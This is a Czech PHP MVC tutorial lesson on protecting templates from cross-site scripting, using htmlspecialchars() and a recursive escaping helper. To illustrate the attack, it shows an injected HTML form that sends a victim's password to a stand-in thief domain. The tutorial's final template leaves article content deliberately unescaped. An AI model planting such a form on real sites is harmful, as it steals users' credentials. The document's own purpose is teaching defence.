Lekce 9 - Zabezpečení šablon
V minulé lekci, Výpis článků z databáze v PHP (MVC), jsme si vypsali článek z databáze.
Abychom mohli jít dále a doprogramovat do redakčního systému funkčnosti jako jsou editor článků nebo přihlašování uživatelů, budeme muset předem doladit několik věcí. Jedná se zejména o zabezpečení šablon, o tom bude dnešní díl.
Útok XSS
Zkusme si v databázi editovat článek uvod
a do sloupce
titulek vložme tuto hodnotu:
<em> je můj oblíbený tag
Systém zobrazí článek následujícím způsobem:
Tag <em>
v nadpisu není a místo toho je kurzívou. HTML
tag se vložil do stránky a prohlížeč ho vykonal. V tomto případě je to
jen vada na kráse.
Představte si však, co se stane, když se nějaký uživatel webu pojmenuje takto:
<form action="zlodejhesel.cz">Zadejte heslo znovu: <input type="password" name="heslo"><input type="submit" /></form>
Při výpisu jeho jména systém zobrazí formulář, kam může nic netušící uživatel zadat své heslo, protože si myslí, že ho po něm chce náš web. Heslo samozřejmě přijde útočníkovi na jeho web a on ho může zneužít. Další oblíbenou taktikou je vkládání JavaScriptu, který se snaží např. krást cookies.
Tomuto útoku se říká XSS neboli tzv. cross-site scripting.
Obrana
Řešení problému by nám mělo být známé. Proměnné, ve kterých
může být hodnota zadaná uživatelem, před výpisem proženeme funkcí
htmlspecialchars()
. Ta z HTML tagů udělá nevinné entity, které
se poté prohlížečem nespustí. Takto bychom měli ošetřovat
všechny proměnné před výpisem. Stejně jako tomu bylo u
databáze, u většího programu jednoduše neuhlídáme, co se ve které
proměnné může nacházet, proto budeme zabezpečovat všechny. Ještě jednou
připomenu, že proměnné ošetřujeme těsně před výpisem a v žádném
případě neukládáme entity do databáze, v databázi je vždy původní
text, tedy přesně to, co zadal uživatel. Upravujeme až pro výstup. Do
databáze patří vždy co nejvíce surová data, která formátuje až
aplikace.
První řešení, které by nás napadlo, je vložení funkce
htmlspecialchars()
do všech pohledů kolem všech proměnných.
Můžeme si to zkusit pro pohled clanek
:
<header> <h1><?= htmlspecialchars($titulek) ?></h1> </header> <section> <?= htmlspecialchars($obsah) ?> </section>
Zkuste si, že se škodlivý kód již neprovede, namísto toho se vypíše přesně to, co je v proměnné.
Co to ale vidíme? Nyní je zpracování HTML tagů vypnuto všude, ale i v
článku, kde nefunguje odkaz na konci. Jelikož obsah článku je asi jediné
místo, kde chceme vložené HTML tagy zpracovávat, v šabloně ponecháme
proměnnou $obsah
neošetřenou.
Automatizace
Zeptejme se sami sebe, kolik procent proměnných bude potřeba v šablonách
ošetřovat. Velmi pravděpodobně dojdeme k číslu většímu než 90%. Bylo
by tedy velmi vhodné tento krok zautomatizovat a nutnost vložení
neošetřené proměnné brát jako výjimku. Jelikož v našem MVC frameworku
budeme pracovat téměř vždy s asociativními poli, vytvoříme si v
abstraktním kontroleru funkci, která toto pole rekurzivně zentituje. Jinými
slovy zavolá funkci htmlspecialchars()
na všechny stringy v poli
$data
a pokud je v poli $data
vložené nějaké
další pole, udělá to samé s ním a tak dále. Otevřeme si ještě jednou
Kontroler.php
a do třídy Kontroler
přidáme metodu
osetri()
:
private function osetri(mixed $x = null): mixed { if (!isset($x)) return null; elseif (is_string($x)) return htmlspecialchars($x, ENT_QUOTES); elseif (is_array($x)) { foreach($x as $k => $v) { $x[$k] = $this->osetri($v); } return $x; } else return $x; }
Pro neinicializovanou proměnnou vrátíme null
, pro řetězec
vrátíme jeho zentitovanou hodnotu, pro pole ošetříme rekurzivně všechny
jeho prvky, další datové typy vrátíme jak jsou. Samotné volání
htmlspecialchars()
má ještě parametr ENT_QUOTES
,
aby ošetřoval i jednoduché uvozovky. Je to tak bezpečnější.
V metodě vypisPohled()
nyní upravíme parametry funkce extract
tak, aby jí bylo předáno ošetřené pole $data
:
extract($this->osetri($this->data));
Máme hotovo, všechny vybalené proměnné v šabloně budou již
zentitované. Zbývá nějak vyřešit těch pár případů, kdy je
zentitované nechceme (např. onen obsah článku). Funkce
extract()
nám umožňuje dát proměnným určitý prefix (něco
před jejich název), vybalíme si tedy proměnné ještě jednou, tentokrát
neošetřené a s nějakým prefixem. Každá proměnná bude v šabloně tedy
2x, jednou pod svým jménem a jednou neošetřená s prefixem. Extract mezi
prefix a název proměnné vloží vždy podtržítko "_". Pokud zadáme prefix
prázdný, vybalí se proměnné předsazené podtržítkem, což je pro naše
účely docela hezké. Přidejme si tedy do metody vypisPohled()
ještě jedno vybalení (za první extract()
):
extract($this->data, EXTR_PREFIX_ALL, "");
Ještě upravíme šablonu článku, ta bude nyní vypadat minimalisticky a to je přesně to, co se po šabloně chce:
<header> <h1><?= $titulek ?></h1> </header> <section> <?= $_obsah ?> </section>
Vše je ošetřené proti XSS, čistý obsah se vkládá pouze u článku,
kde jsme použili proměnnou $_obsah
s podtržítkovým prefixem,
tedy neošetřenou.
Vytvořili jsme si tedy extrémně jednoduchý šablonovací systém.
Proměnné se vkládají do šablony jednoduše pomocí direktivy
<?= $promenna ?>
. Vkládá se ošetřená verze proměnné. V
případech, kdy potřebujeme neošetřenou, použijeme podtržítkový prefix
<?= $_promenna ?>
. Náš systém je nyní zabezpečený proti
útoku XSS. Dnešní projekt je jako vždy přiložen níže ke stažení.
V příští lekci, Mechanismus zpráv, si naprogramujeme slíbený mechanismus zpráv.
Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.
Stáhnout
Stažením následujícího souboru souhlasíš s licenčními podmínkami
Staženo 1995x (15.33 kB)
Aplikace je včetně zdrojových kódů v jazyce PHP